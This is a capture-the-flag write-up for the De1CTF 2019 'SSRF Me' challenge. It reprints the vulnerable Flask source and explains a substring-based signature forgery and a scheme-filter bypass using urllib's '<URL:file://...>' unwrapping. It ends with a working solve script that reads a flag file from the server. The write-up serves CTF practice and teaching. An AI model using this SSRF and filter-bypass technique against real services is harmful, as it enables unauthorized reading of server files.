De1CTF - SSRF Me Writeup (2019)
UPDATE: This writeup was hidden since 2019 due to the solution used. It was only recently where I released a CTF challenge using the same solution. Since it was solved, I decided that this writeup should resurface.
Given the source file:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
#SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False app.run(host='0.0.0.0',port=80)
To cut things short on how this "application" works, you will first provide a URL to /getSign
to get contents of that URL, and using that signature, use it at the /De1ta
to read the contents. Easy right? But there are some hurdles to overcome.
We will need to find a way to bypass the checks for read file signature and also the waf()
function.
Our goal is to leak the ./flag.txt
file. There are many ways to do this, while I did it the "longer" way, there is a shorter way to leak it once the waf()
function is bypassed.
At the /geneSign
route, we see that it takes in a URL with GET variables and processes it at the getSign()
function. This will generate a signature, it will be validated when using the /De1ta
route.
However, we only can generate actions which are scan
. We will not be able to generate a read
action. But examining the Exec()
function closely, it is apparent that the if/else statements checks if the keywords are IN the URL given.
So given the following URL:
http://139.180.128.86/geneSign?param=http://google.comreadand
The signature will be constructed as such by getSign()
:
return hashlib.md5(secert_key + param + action).hexdigest()
.
SECRET_KEY + "http://google.comreadand" + "scan" = "SECRET_KEYhttp://google.comreadandscan"
So the signature will be generated with inputs we control which can be used at /De1ta
to trigger actions of both read
and scan
.
This will then give us a valid signature, and it can be used to trigger read
and scan
because in the subsequent action, the action
payload sent will contain both read
and scan
keywords which will trigger the if else statements!
Next, we have to bypass the if check.startswith("gopher") or check.startswith("file"):
check. Well, it is pretty simple. Just use flag.txt
and thats it! But... I kind of overthink? I went on to look at how urllib
actually parses URLs...
In urllib, there is a function called unwrap
which is called by the urllib parser. https://kite.com/python/docs/urllib.unwrap
Essentially, <URL:scheme://host/path>
will be converted into scheme://host/path
. With this, we can bypass the "starts with" mechanism used by the waf()
function. (Note: This works with urllib2 as well)
And here is the solve script!
import requests
payload = "<URL:file:///proc/self/cwd/flag.txt>readand"
payload_two = "<URL:file:///proc/self/cwd/flag.txt>"
a = requests.get("http://139.180.128.86/geneSign?param="+payload)
print a.text
cookies = {'action': 'readandscan',
'sign':a.text}
r = requests.post('http://139.180.128.86/De1ta?param='+payload_two, cookies=cookies)
print r.text
45c6325c3166748e875137554ad72d6e
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}
Credits to https://lord.idiot.sg/ for the late night discussion on the challenge! Check out his site for awesome write ups too!